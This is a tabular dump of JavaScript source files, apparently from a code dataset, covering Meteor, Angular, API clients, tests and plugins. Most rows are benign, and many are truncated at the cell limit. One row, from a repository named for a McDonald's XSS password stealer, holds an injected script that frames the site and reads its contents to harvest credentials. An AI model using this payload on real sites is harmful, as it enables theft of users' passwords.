code stringlengths 2 1.05M | repo_name stringlengths 5 114 | path stringlengths 4 991 | language stringclasses 1
value | license stringclasses 15
values | size int32 2 1.05M |
|---|---|---|---|---|---|
import { Meteor } from 'meteor/meteor';
import { Template } from 'meteor/templating';
import { FlowRouter } from 'meteor/kadira:flow-router';
Template.If_Authorized.helpers({
/**
* @returns {*} True if Meteor is in the process of logging in.
*/
authInProcess: function authInProcess() {
return Meteor.logg... | adventure-portal/adventure-portal | app/imports/ui/layouts/if-authorized.js | JavaScript | apache-2.0 | 1,298 |
const MySQL = require('./mysql');
module.exports = {
MySQL,
};
| ccwukong/lfcommerce-react | server/db/index.js | JavaScript | apache-2.0 | 66 |
'use strict';
angular.module('app')
.controller('ChangepassCtrl', function($scope, $state, $localStorage, UserSvc) {
var o = $scope;
o.form = angular.copy($localStorage.user);
o.changepass = function() {
var data = angular.copy(o.form);
UserSvc.update(data).then(function(res) {
... | zcodegroup/zcodegroup.github.io | zabin/scripts/controllers/changepass.js | JavaScript | apache-2.0 | 477 |
var vows = require('../lib/vows-batch-retry'),
assert = require('assert');
vows.describe('vows failed').addBatchRetry({
'async exception test': {
topic: function() {
var callback = this.callback;
setTimeout(function() {
callback("titi");
}, 100);
},
cb_check: function() {
... | eiossa/paStash | node_modules/vows-batch-retry/test/test_failed_async_exception_no.js | JavaScript | apache-2.0 | 354 |
// Copyright 2020 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in ... | googleapis/nodejs-automl | samples/test/get_model.test.js | JavaScript | apache-2.0 | 1,314 |
/**
* @license Copyright 2016 Google Inc. All Rights Reserved.
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or a... | arturmiz/lighthouse | lighthouse-core/test/config/config-test.js | JavaScript | apache-2.0 | 22,263 |
var Web3 = require("web3");
var SolidityEvent = require("web3/lib/web3/event.js");
(function() {
// Planned for future features, logging, etc.
function Provider(provider) {
this.provider = provider;
}
Provider.prototype.send = function() {
this.provider.send.apply(this.provider, arguments);
};
Pr... | jonnycrunch/eHealthWallet | server/build/contracts/MetaCoin.sol.js | JavaScript | apache-2.0 | 17,307 |
'use strict';
const Generator = require('yeoman-generator');
const WriteService = require('./WriteService.js');
module.exports = class extends Generator {
constructor(args, opts) {
super(args, opts);
this.argument('componentTag', {type: String, required: true});
}
writing() {
this.log('Component wri... | cybersettler/generator-websemble | generators/module/index.js | JavaScript | apache-2.0 | 466 |
components.directive('movieResult', ['ModelFactory', 'ServicesFactory', '$rootScope','$location'
,function (model, services, $rootScope,$location) {
var directiveDefinitionObject = {
templateUrl: 'partials/components/movie-result.html',
replace: true,
restrict: 'E',
scope: {
... | binomed/CineShowTimeAngular | src/main/javascript/components/movie-result.js | JavaScript | apache-2.0 | 1,994 |
/* globals setTimeout, clearTimeout */
var Transit = require('./transit.js');
var Errors = require('./errors.js');
/**
* The ticket instance takes an single argument in the browser environment; the browser window
*
* @param {object} emmitter The event emitter that emits the kernel events
* @param {Resolver} resolv... | advanderveer/ticket.js | src/ticket.js | JavaScript | apache-2.0 | 4,629 |
$(document).ready(function(e) {
$(".list-item #add-city").click(function(e){
e.preventDefault();
$('#autocomplete').css('display','block');
$('.tt-input').focus();
});
$("#filters").on('click', 'a.remove-city', function(e) {
e.preventDefault();
var gid = $(this).closest('.list-item').find('a').... | upcoming/upcoming-www | public/js/autocomplete.js | JavaScript | apache-2.0 | 3,223 |
/**
* Easystatic - static site generator (https://easystatic.com)
*
* Copyright © 2016 Easystatic contributors. All rights reserved.
*
* This source code is licensed under the Apache 2.0 license found in the
* LICENSE.txt file in the root directory of this source tree.
*/
/* eslint-disable no-console */
import... | easystatic/easystatic | src/info.js | JavaScript | apache-2.0 | 2,724 |
/*
* Copyright (c) 2016, WSO2 Inc. (http://www.wso2.org) All Rights Reserved.
*
* WSO2 Inc. licenses this file to you under the Apache License,
* Version 2.0 (the "License"); you may not use this file except
* in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/li... | prithvi66/carbon-device-mgt | components/device-mgt/org.wso2.carbon.device.mgt.ui/src/main/resources/jaggeryapps/devicemgt/app/pages/cdmf.page.users/public/js/listing.js | JavaScript | apache-2.0 | 21,818 |
var classorg_1_1onosproject_1_1bgp_1_1controller_1_1impl_1_1BgpControllerImpl_1_1BgpPeerManagerImpl =
[
[ "addConnectedPeer", "classorg_1_1onosproject_1_1bgp_1_1controller_1_1impl_1_1BgpControllerImpl_1_1BgpPeerManagerImpl.html#a9b99b56354847794a30c49039f70a04b", null ],
[ "getBgpPeerInstance", "classorg_1_1ono... | onosfw/apis | onos/apis/classorg_1_1onosproject_1_1bgp_1_1controller_1_1impl_1_1BgpControllerImpl_1_1BgpPeerManagerImpl.js | JavaScript | apache-2.0 | 960 |
import React from 'react'
import FineUploaderTraditional from 'react-fine-uploader'
import Gallery from 'react-fine-uploader/components/gallery'
import store from '../store'
import { Router, Link } from 'react-router'
const uploader = new FineUploaderTraditional({
options: {
request: {
endpoint: 'http://te... | bayo-jsc/fb-hackathon-2016 | src/components/Uploader.js | JavaScript | apache-2.0 | 1,013 |
sap.ui.define(['sap/ui/webc/common/thirdparty/base/config/Theme', './v5/customer-history', './v4/customer-history'], function (Theme, customerHistory$2, customerHistory$1) { 'use strict';
const pathData = Theme.isThemeFamily("sap_horizon") ? customerHistory$1 : customerHistory$2;
var customerHistory = { pathData };
... | SAP/openui5 | src/sap.ui.webc.common/src/sap/ui/webc/common/thirdparty/icons/customer-history.js | JavaScript | apache-2.0 | 351 |
/*!
* ${copyright}
*/
// Provides control sap.ui.layout.form.GridElementData.
sap.ui.define([
'sap/ui/core/LayoutData',
'sap/ui/layout/library'
], function(LayoutData, library) {
"use strict";
/**
* Constructor for a new sap.ui.layout.form.GridElementData.
*
* @param {string} [sId] ID for the new control... | SAP/openui5 | src/sap.ui.layout/src/sap/ui/layout/form/GridElementData.js | JavaScript | apache-2.0 | 1,822 |
/*
dhtmlxScheduler v.4.3.0 Stardard
This software is covered by GPL license. You also can obtain Commercial or Enterprise license to use it in non-GPL project - please contact sales@dhtmlx.com. Usage without proper license is prohibited.
(c) Dinamenta, UAB.
*/
scheduler.config.limit_start=null,scheduler.config... | iqcouch/plan4 | plan4_app/app/_attachments/webix/components/scheduler/scheduler/ext/dhtmlxscheduler_limit.js | JavaScript | apache-2.0 | 16,114 |
const { Command } = require("klasa");
const { MessageEmbed } = require("discord.js");
const has = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);
/* This is a modified command based off of the default Klasa help command. */
module.exports = class extends Command {
constructor(...args) {
super... | Butterstroke/MargarineBot | commands/General/help.js | JavaScript | apache-2.0 | 4,604 |
function bumonEditWindow(e)
{
var _id = e.rowData.rsId;
var bumonEditWin = Ti.UI.createWindow({
backgroundColor:'#fff',
title: L('bumon_edit')
});
//部門名というラベル
var label1 = Ti.UI.createLabel({
color: '#999',
top: 10,
text: L('bumon_name'),
textAlign: 'center',
width: 'auto'
});
bumonEditWin.add(la... | yokurin/titanium_studio_test | Resources/ui/common/bumonEditWindow.js | JavaScript | apache-2.0 | 2,539 |
/**
*
*/
//variabile globale, contiene l'email selezionata
var email = "";
$(function() {
// $(window).on("load resize",function() {
// winHeight = $(window).height();
// $('#scroller').css({
// 'max-height' : (winHeight)-100 + "px",
// 'overflow-y' : "auto",
// 'overflow-x' : "hidden",
// });
// });
$... | pon-prisma/PrismaDemo | WEBUI/src/main/webapp/static/assets/js/dialog/emailaas.js | JavaScript | apache-2.0 | 7,440 |
var structovsdb__mutation__set =
[
[ "mutations", "structovsdb__mutation__set.html#aacedcaf301cd3e3e5967b49940007a73", null ],
[ "n_mutations", "structovsdb__mutation__set.html#a3a0f5d89716d0970215e87ffb45ec7aa", null ]
]; | vladn-ma/vladn-ovs-doc | doxygen/ovs_all/html/structovsdb__mutation__set.js | JavaScript | apache-2.0 | 230 |
// Definicion del modelo de Comentario con validación
module.exports = function(sequelize, DataTypes) {
return sequelize.define(
'Comment',
{ comment: {
type: DataTypes.STRING,
validate: { notEmpty: {msg: "Falta texto"}}
},
publicado: {
type: DataTypes.BOOLEAN,
defaul... | danielearning/quizz | quiz/models/comment.js | JavaScript | apache-2.0 | 356 |
export class DeclarationRow {
constructor() {
}
set date(date) {
this._date = date;
}
get date() {
return this._date;
}
set amount(amount) {
this._amount = amount;
}
get amount() {
return this._amount;
}
set photo(photo) {
this._ph... | FrontMen/angular2poc | app/scripts/domain/row.js | JavaScript | apache-2.0 | 541 |
/**
* Created by gsw on 16-8-7.
*/
$(function () {
var location = GetChineseQueryString("location");
initSign(location);
});
function signBackClick() {
window.location.href = "loc.html";
}
function initSign(location) {
var now = new Date();
var nowFormat = now.Format("yyyy-MM-dd hh:mm:ss");
... | futureskywei/whale | src/main/webapp/mobile/js/data/sign.js | JavaScript | apache-2.0 | 1,139 |
import fetch, { Headers, Request, Response } from 'node-fetch';
import path from 'path';
import { HOST } from '../config';
function localUrl(url) {
if (url.startsWith('//')) {
return `https:${url}`;
}
if (url.startsWith('http')) {
return url;
}
const normPath = path.posix.normalize(`/${url}`);
re... | NaNuNoo/Matcha | src/fetch/fetch-node.js | JavaScript | apache-2.0 | 515 |
/**
* Vericred API
* Vericred's API allows you to search for Health Plans that a specific doctor
accepts.
## Getting Started
Visit our [Developer Portal](https://developers.vericred.com) to
create an account.
Once you have created an account, you can create one Application for
Production and another for our Sandbo... | vericred/vericred-javascript | src/api/NetworkSizesApi.js | JavaScript | apache-2.0 | 14,522 |
'use strict';
var common = require('../common');
var assert = require('assert');
var http = require('http');
var server = http.createServer(function(req, res) {
res.setHeader('X-Date', 'foo');
res.setHeader('X-Connection', 'bar');
res.setHeader('X-Content-Length', 'baz');
res.end();
});
server.listen(common.PO... | dreamllq/node | test/parallel/test-http-automatic-headers.js | JavaScript | apache-2.0 | 920 |
/*
sJQcontainer,要使用本效果的容器的JQ选择器字符串
sJQtitles,在$(sJQcontainer)上使用find查找,各标题栏的选择器字符串,点击它们会使对应的内容栏收缩或展开
sJQcontents,在$(sJQcontainer)上使用find查找,各内容栏的选择器字符串,它们是会显示或隐藏的部分
oOptions,附加参数列表对象,可以使用的属性有
.way,激活方式,默认为mouseenter,即鼠标悬停时产生效果,还可以为click
.auto,自动播放,默认为true
.delay,自动播放的间隔,默认为3000
.mstop,鼠标悬停时播放停止,默认为true
oCallbacks,回... | vrbvillor/vrbvillor.github.io | effects/tabs/tab.js | JavaScript | apache-2.0 | 3,392 |
// This snippet file was generated by processing the source file:
// ./storage-next/file-metadata.js
//
// To update the snippets in this file, edit the source and then run
// 'npm run snippets'.
// [START storage_get_metadata_modular]
import { getStorage, ref, getMetadata } from "firebase/storage";
// Create a refer... | firebase/snippets-web | snippets/storage-next/file-metadata/storage_get_metadata.js | JavaScript | apache-2.0 | 699 |
export { default } from './EditProxy';
| folio-org/ui-users | src/components/EditSections/EditProxy/index.js | JavaScript | apache-2.0 | 39 |
/**
* @license
* Copyright 2014 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless requir... | nishant8BITS/lovefield | testing/mock_env.js | JavaScript | apache-2.0 | 3,295 |
#remote stealer to load into your remote hosting space
if (!window.xssIsExecuted) {
window.xssIsExecuted = true;
var iframe = $('<iframe src="https://www.mcdonalds.com/us/en-us.html"></iframe>');
$('body').append(iframe);
iframe.on('load', function() {
var penc = iframe[0].contentWindow.getCo... | fnatalucci/mcdonaldsXssPwdStealer | remotestealer.js | JavaScript | apache-2.0 | 398 |
/**
* Copyright 2015 The AMP HTML Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless require... | jaboc83/amphtml | extensions/amp-fit-text/0.1/test/test-amp-fit-text.js | JavaScript | apache-2.0 | 4,761 |
(function ( $ ) {
$.colorShifter = function( options, callback ) {
// This is the easiest way to have default options.
var settings = $.extend({
// These are the defaults.
hexColor: "556b2f",
steps: 10
}, options );
var colorsToReturn = [];
... | jyoung360/color-shifter | colors.js | JavaScript | apache-2.0 | 2,881 |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
const properties_1 = require("./properties");
// Example
// @command('BufEnter', { range: '', nargs: '*' })
// @command('MyCommand', { complete: 'customlist,MyCustomCompleteListFunc' })
// @command('MyCommand', { complete: 'dir' })
function co... | xArthasx/dotfiles | .config/coc/extensions/node_modules/coc-scssmodules/node_modules/@chemzqm/neovim/lib/plugin/command.js | JavaScript | apache-2.0 | 1,336 |
var interface_f_h_s_d_k_1_1_services_1_1_data_1_1_i_data_service =
[
[ "DeleteData", "interface_f_h_s_d_k_1_1_services_1_1_data_1_1_i_data_service.html#a2eb50b9827cbf7881f0f094a5671a8ab", null ],
[ "GetData", "interface_f_h_s_d_k_1_1_services_1_1_data_1_1_i_data_service.html#a0073963a0f2fdb6cf40ade3ee6c6cb60", ... | feedhenry/fh-dotnet-sdk | Documentations/html/interface_f_h_s_d_k_1_1_services_1_1_data_1_1_i_data_service.js | JavaScript | apache-2.0 | 458 |
/*
Copyright 2012 Blue River Interactive
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agree... | blueriver/MuraBootstrapCarousel | displayObjects/configurators/carousel/configurator.js | JavaScript | apache-2.0 | 1,012 |
//*******************************************************
// and here are the definitions of the drawing operators
//*******************************************************
eval_helper.extractPoint = function(v1) {
var erg = {};
erg.ok = false;
if (v1.ctype === 'geo') {
var val = v1.value;
... | wursterje/CindyJS | src/js/libcs/OpDrawing.js | JavaScript | apache-2.0 | 46,932 |
"use strict";
const { combineReducers } = require("redux");
const { routerReducer } = require('react-router-redux');
const manga = require("./MangaReducer");
const search = require("./SearchReducer");
module.exports = combineReducers({
routing: routerReducer,
search: search,
manga: manga,
});
| FrantisekGazo/MangaScraperJS | src/reducer/index.js | JavaScript | apache-2.0 | 310 |
/*global jQuery, window*/
$(document).ready(function () {
$('#addreview').on('click', '#btn-addreview', function (e) {
e.preventDefault();
var $form = $('#form-addreview');
if (!$form.valid || $form.valid()) {
$.post($form.attr('action'), $form.serializeArray())
... | simplcommerce/SimplCommerce | src/Modules/SimplCommerce.Module.Reviews/wwwroot/list.js | JavaScript | apache-2.0 | 1,955 |
/**
* Include gulp task definitions from gulp folder
*/
const fs = require('fs'),
path = require("path");
// Filters out non-javascript files. Prevents
// accidental inclusion of possible hidden files
const tasks = fs.readdirSync('./gulp/').filter(function(name) {
return /(\.(js)$)/i.test(path.extname(name))... | rpokorny/techexchange-frp-todolist | frontend/gulpfile.js | JavaScript | apache-2.0 | 393 |
//currency conversion class for handling all currency conversion operations
var CurrencyConverter = (function () {
function CurrencyConverter() {
this.giveError = false;
}
CurrencyConverter.prototype.CurrencyConverter = function () {
};
//sets the currencies
CurrencyConverter.prototype.s... | Stanislav-Pankrashin/Msa-module-1-website | currencyConversion/Javascript/currencyConversion.js | JavaScript | apache-2.0 | 6,678 |
const assert = require('assert');
const should = require('should');
const ThreeStacks = require('../src/threeStacks');
describe('threeStacks', function() {
let stacks = null;
beforeEach(function() {
stacks = new ThreeStacks();
stacks.push(0, 1);
stacks.push(0, 2);
stacks.push(0, 3);
stacks.push... | telmanagababov/ctci | part3-stacks/test/threeSacks.spec.js | JavaScript | apache-2.0 | 1,603 |
// Copyright 2019 The Oppia Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by ap... | prasanna08/oppia | core/tests/protractor_desktop/navigation.js | JavaScript | apache-2.0 | 6,041 |
define({"topics" : [{"title":"Generated Data Types","shortdesc":"\n <p class=\"shortdesc\">When creating new tables or creating new columns in existing tables, the Snowflake destination uses field names to\n generate the new column names. \n </p>\n ... | SandishKumarHN/datacollector | docs/generated/oxygen-webhelp/app/nav-links/json/concept_cn1_msp_2gb-d46e106620.js | JavaScript | apache-2.0 | 548 |
window.cls || (window.cls = {});
/**
* @constructor
* @extends ViewBase
*/
cls.CSSLayoutView = function(id, name, container_class)
{
var self = this;
this.createView = function(container)
{
if( !container.getElementsByTagName('layout-container')[0] )
{
container.innerHTML = "<div class='... | runeh/dragonfly-stp-1 | src/style/views_css_layout.js | JavaScript | apache-2.0 | 1,913 |
/*jslint node: true */
var HttpUtils = require('../../utils/HttpUtils');
/**
* Manage Events in Cloud Foundry
* @param {String} endPoint [CC endpoint]
* @constructor
*/
function Events(endPoint) {
"use strict";
this.API_URL = endPoint;
this.REST = new HttpUtils();
}
/**
* Set endpoint
* @param {Str... | jthomas/cf-nodejs-client | lib/model/cloudcontroller/Events.js | JavaScript | apache-2.0 | 1,261 |
// Copyright 2019 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the “License”);
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// <https://apache.org/licenses/LICENSE-2.0>.
//
// Unless required by applicable law or agreed to in writing... | GoogleChromeLabs/jsvu | engines/v8/get-latest-version.js | JavaScript | apache-2.0 | 1,180 |
var somePack = require('./somePackage');
somePack.hello(); | zhml8951/tianhuan | nodejs_demo01/getPackages.js | JavaScript | apache-2.0 | 58 |
var nodes = new vis.DataSet([
/* {id: a, label: b, ...}, */
{id: '5000', label: 'A1\n#NUM!', color: '#31b0d5', title: 'Name: A1<br>Alias: null<br>Value: #NUM!<br>Type: CELL_WITH_FORMULA<br>Id: 5000<br>Formula Expression: Formula String: COMBIN(VALUE, VALUE); Formula Values: COMBIN(8.0, 6.... | DataArt/CalculationEngine | calculation-engine/engine-tests/engine-it-graph/src/test/resources/standardwithconfig_data_js_files/data_Error_Num__JOIN_5.js | JavaScript | apache-2.0 | 1,743 |
//// [typeParametersInStaticAccessors.js]
var foo = (function () {
function foo() {
}
Object.defineProperty(foo, "Foo", {
get: function () {
return null;
},
enumerable: true,
configurable: true
});
Object.defineProperty(foo, "Bar", {
se... | fdecampredon/jsx-typescript-old-version | tests/baselines/reference/typeParametersInStaticAccessors.js | JavaScript | apache-2.0 | 439 |
/* @flow */
import React from 'react';
import Icon from 'mineral-ui/Icon';
import type { IconProps } from 'mineral-ui/Icon/types';
/* eslint-disable prettier/prettier */
export default function IconFormatListBulleted(props: IconProps) {
const iconProps = {
rtl: true,
...props
};
return (
<Icon {...... | mineral-ui/mineral-ui | packages/mineral-ui-icons/src/IconFormatListBulleted.js | JavaScript | apache-2.0 | 772 |
/**@preserve
* ====================================================================
* jsPDF PNG PlugIn
* Copyright (c) 2014 James Robb, https://github.com/jamesbrobb
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the... | bugodelnya/scn-sdk-package | src/org.scn.community.utils/os/jspdf/jspdf.plugin.png_support.js | JavaScript | apache-2.0 | 14,448 |
import autosize from "autosize";
import $ from "jquery";
import * as fenced_code from "../shared/js/fenced_code";
import * as channel from "./channel";
import * as common from "./common";
import * as compose from "./compose";
import * as compose_fade from "./compose_fade";
import * as compose_pm_pill from "./compose_... | andersk/zulip | static/js/compose_actions.js | JavaScript | apache-2.0 | 21,041 |
function KeyboardInputManager() {
this.events = {};
if (window.navigator.msPointerEnabled) {
//Internet Explorer 10 style
this.eventTouchstart = "MSPointerDown";
this.eventTouchmove = "MSPointerMove";
this.eventTouchend = "MSPointerUp";
} else {
this.eventTouchstart = "touchsta... | ChouPiao/KeepMoving | js/keyboard_input_manager.js | JavaScript | apache-2.0 | 2,269 |
var interfaceorg_1_1onosproject_1_1bgp_1_1controller_1_1BgpConnectPeer =
[
[ "connectPeer", "interfaceorg_1_1onosproject_1_1bgp_1_1controller_1_1BgpConnectPeer.html#a52a96107cb56490148975fc6ff076f80", null ],
[ "disconnectPeer", "interfaceorg_1_1onosproject_1_1bgp_1_1controller_1_1BgpConnectPeer.html#ad8531b6af... | onosfw/apis | onos/apis/interfaceorg_1_1onosproject_1_1bgp_1_1controller_1_1BgpConnectPeer.js | JavaScript | apache-2.0 | 355 |
define(['modules/PlayRulesModule'], function(PlayRules) {
'use strict';
var _logic;
describe('PlayRules', function () {
describe('constructor', function(){
it('should create an instance of PlayRules', function(){
_logic = new PlayRules({board: {currentValue: 10}});
expect(typeof _logic).... | lpaulger/cribbage-the-game | test/spec/modulesSpec/PlayRulesSpec.js | JavaScript | apache-2.0 | 367 |
/*!
* Bootstrap Grunt task for parsing Less docstrings
* http://getbootstrap.com
* Copyright 2014 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
*/
'use strict';
var Markdown = require('markdown-it');
function markdown2html(markdownString) {
var md = new Markdown();
... | cnngraphics/NMM2 | bower_components/bootstrap/grunt/bs-lessdoc-parser.js | JavaScript | apache-2.0 | 6,079 |
var meetcute_api = require("ti.cloud.meetcute.api"),
MC_API_TOKEN = '23#AFE92',
Cloud = require('ti.cloud');
Cloud.debug = true;
/**
* 1. Filter by: age & _gender & !viewed
Order by geo location. Limit 20
2. Find the current user's Facebook Friends who also registered in the same App.
Then exclude them... | miguelramosfdz/MC2 | app/lib/api.js | JavaScript | apache-2.0 | 8,839 |
'use strict';
var pbc = Py2blockConfig.prototype;
pbc.moduleFunctionD.get('radio')['on'] = function (py2block, func, args, keywords, starargs, kwargs, node) {
if (args.length !== 0) {
throw new Error("Incorrect number of arguments");
}
return [block("radio_ons", func.lineno, {"type": "on"}, {}, {
... | xbed/Mixly_Arduino | mixly_arduino/blockly/converters/microbit_python/communicate.js | JavaScript | apache-2.0 | 9,191 |
/*
Projection by TEMPLATED
templated.co @templatedco
Released for free under the Creative Commons Attribution 3.0 license (templated.co/license)
*/
(function($) {
// Breakpoints.
skel.breakpoints({
xlarge: '(max-width: 1680px)',
large: '(max-width: 1280px)',
medium: '(max-width: 980px)',
small: '(ma... | Kommotion/Senior-Design | website/assets/js/main.js | JavaScript | apache-2.0 | 1,406 |
// =======================
// get the packages we need ============
// =======================
var express = require('express');
var app = express();
var bodyParser = require('body-parser');
var morgan = require('morgan');
var path = require('path');
var Cookies = require('cookies');
var ... | cicorias/central-authentication | server.js | JavaScript | apache-2.0 | 8,569 |
//// [recursiveFunctionTypes.ts]
function fn(): typeof fn { return 1; }
var x: number = fn; // error
var y: () => number = fn; // ok
var f: () => typeof g;
var g: () => typeof f;
function f1(d: typeof f1) { }
function f2(): typeof g2 { }
function g2(): typeof f2 { }
interface I<T> { }
function f3(): I<typeof f3>... | freedot/tstolua | tests/baselines/reference/recursiveFunctionTypes.js | JavaScript | apache-2.0 | 1,567 |
const path = require('path');
const getCwd = require('../utils/get-cwd');
/**
* 在创建 Webpack 打包配置时使用的默认值,作为 Koot App 配置的 Fallback
*/
module.exports = {
dist: path.resolve(getCwd(), 'dist'),
distClientAssetsDirName: 'includes',
config: {},
aliases: {},
i18n: false,
serviceWorker: true,
devS... | websage-team/super-project | packages/koot/defaults/build-config.js | JavaScript | apache-2.0 | 491 |
function formatDomain(item){
if (item.id!=''){
console.log('fs ');
console.log(item);
var img= '<img class="flag" src="/static/img/domain_img/'+item.id.toLowerCase()+'Small.png"/>'
return img+item.id;
}
}
... | namelessnerd/acpmeta | backend/static/js/onboaring.js | JavaScript | apache-2.0 | 1,691 |
require.config({
baseUrl: 'js',
// urlArgs: '_=' + (new Date().getTime()),
paths: {
jquery: 'lib/jquery-1.11.1.min',
underscore: 'lib/underscore-1.7.0.min',
backbone: 'lib/backbone-1.1.2-min',
marionette: 'lib/backbone.marionette.umd-2.2.0',
handlebars: 'lib/hand... | tumbarumba/dropwizard-marionette | application/src/main/resources/assets/js/main.js | JavaScript | apache-2.0 | 1,921 |
/**
* Created by ethoto on 19/11/2015.
*/
app.controller('MainController', ['$scope', 'forecast', function($scope, forecast){
$scope.tittle = 'Remind it!';
forecast.success(function(data) {
//$scope.notebody = data;
$scope.htmlcontent = data
});
// Textarea setup
//$scope.htmlcontent = "<p>Hello World!</p... | ellioh-thoto/remindit | app/scripts/controllers/MainController.js | JavaScript | apache-2.0 | 330 |
'use-strict';
angular.module('skeletonApp.services', ['restangular'])
.factory('nameService', function () {
return {
getName: function() {
return "Skeleton App";
}
}
});
| nadavc/steroids-ionic-skeleton | app/controllers/services.js | JavaScript | apache-2.0 | 250 |
var libTools = require("../lib/tools");
/*
var fn = makeTimeoutFn(1500, null, "result2");
fn(1, "whatever2", 3, function (err, res) {
console.log(err, res); // null, result2
});
*/
exports.makeTimeoutFn = function makeTimeoutFn(ms) {
var args = Array.prototype.slice.call(arguments, 1);
return function () {
v... | panta82/yaal | spec/helpers.js | JavaScript | apache-2.0 | 1,415 |
var lumensWall = angular.module('lumensWall');
lumensWall.controller('createAssetController', function($scope, $state, $http, $rootScope, Account) {
$scope.assetData = {};
$scope.statusMsg = false;
$scope.userRegex = /^()[a-z0-9][^<,|>]+$/i;
$scope.contacts = [];
$scope.init = function() {
$scope.asset... | sazaDev/saza.com.ng | lumens/app/account/create_asset.controller.js | JavaScript | apache-2.0 | 2,742 |
"use strict";
// Session Model
// ---------------
Sonar.Models.Session = Backbone.Model.extend({
urlRoot: "session",
defaults: {
"username": "",
"password": "",
"data": "",
"expires": null,
"is_admin": false,
"debug": false
},
isValid: function() {
... | moloch--/Sonar-Server | jsclient/app/models/session.js | JavaScript | apache-2.0 | 466 |
/**
* Created by yuanguozheng on 16/1/22.
*/
'use strict';
import React, {
Component,
View,
Text,
Image,
TouchableWithoutFeedback,
PropTypes,
StyleSheet
} from 'react-native';
export default class MenuButton extends React.Component {
static propTypes = {
renderIcon: PropType... | yuanguozheng/JdApp | home/MenuButton.js | JavaScript | apache-2.0 | 1,484 |
import View from 'app/components/settings/user/edit'
import connect from 'app/containers/connect'
import { user_update } from 'app/actions/auth'
import { set_modal } from 'app/actions/modal'
var Container = connect({
handlers: (dispatch) => ({
onUpdateUser:(email, attributes) => dispatch( user_update(email, attr... | serverboards/serverboards | frontend/app/js/containers/settings/user/edit.js | JavaScript | apache-2.0 | 437 |
var searchData=
[
['getanno',['getAnno',['../classFileMultimediale.html#a424b22f61f08f9c8397f254d6b756e42',1,'FileMultimediale.getAnno()'],['../classPannelloModifica.html#a944ba9f7a82cc5481e58dd27e55c5a48',1,'PannelloModifica.getAnno()']]],
['getautore',['getAutore',['../classFileMultimediale.html#a6eca23197261b42d... | mive93/Smemorata | html/search/all_67.js | JavaScript | apache-2.0 | 2,091 |
/* jshint laxbreak: true, latedef: nofunc */
/*
The following helper method are defined in
playback-controls.js and search.js
*/
/* globals play, pause, nextTrack, previousTrack,
setVolume, clearPlaylist, removeFromPlaylist,
addToPlaylist, search
*/
'use strict';
window.radiodan = window.Radiod... | libbymiller/radiodan-client-podcast | static/js/app.js | JavaScript | apache-2.0 | 10,212 |
module.exports =
{
doConvert: function(data)
{
return convert(data);
}
};
function convert(data)
{
var converted = {};
converted.type = "FeatureCollection";
converted.features = [];
var lines = data.split('\r\n');
// Skip first line, it is tit... | Terratap-Technologies-Inc/oden-converters | Converters/ca/bc/metro-vancouver/surrey/Voting-Locations/CSV.js | JavaScript | apache-2.0 | 1,215 |
/**
* Copyright 2018, Google, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed t... | GoogleCloudPlatform/cloud-derby | cloud/controller/js/sensor-message.js | JavaScript | apache-2.0 | 2,349 |
define([
'jquery',
'knockout',
'classes/CombatAbility',
'Utils'
], function($, ko, CombatAbility, Utils){
function BasicAttack(data){
var self = this;
CombatAbility.call(this, data);
this.init = function(data){
}
this.doOnLevelUp = function(){
}
this.getTrainCost = function(){
}
this.in... | eframson/sturgeon-rpg | js/classes/CombatAbilities/BasicAttack.js | JavaScript | artistic-2.0 | 474 |
A
new A
new A()
new new A
new new A()
A.B
new A.B
new A.B()
new new A.B
new new A.B()
A[B]
new A[B]
new A[B]()
new new A[B]
new new A[B]() | highsource/javascript-codemodel | parser/src/test/resources/org/hisrc/jscm/parser/expression/tests/NewExpressionTest.00.js | JavaScript | bsd-2-clause | 138 |
var two = 2;
| zynga/gravity | test/proj-1/src/subdir/2.js | JavaScript | bsd-2-clause | 13 |
// This file was procedurally generated from the following sources:
// - src/dstr-binding/obj-ptrn-prop-ary.case
// - src/dstr-binding/default/cls-decl-gen-meth-dflt.template
/*---
description: Object binding pattern with "nested" array binding pattern not using initializer (class expression method (default parameters)... | sebastienros/jint | Jint.Tests.Test262/test/language/statements/class/dstr-gen-meth-dflt-obj-ptrn-prop-ary.js | JavaScript | bsd-2-clause | 2,932 |
// Copyright 2019 Mathias Bynens. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/*---
author: Mathias Bynens
description: >
Unicode property escapes for `Script_Extensions=Mongolian`
info: |
Generated by https://github.com/mathiasbynens/unicode-property-escapes-tests
... | sebastienros/jint | Jint.Tests.Test262/test/built-ins/RegExp/property-escapes/generated/Script_Extensions_-_Mongolian.js | JavaScript | bsd-2-clause | 1,795 |
goog.provide('ol.control.FullScreen');
goog.require('goog.asserts');
goog.require('goog.dom');
goog.require('goog.dom.TagName');
goog.require('goog.dom.classes');
goog.require('goog.dom.fullscreen');
goog.require('goog.dom.fullscreen.EventType');
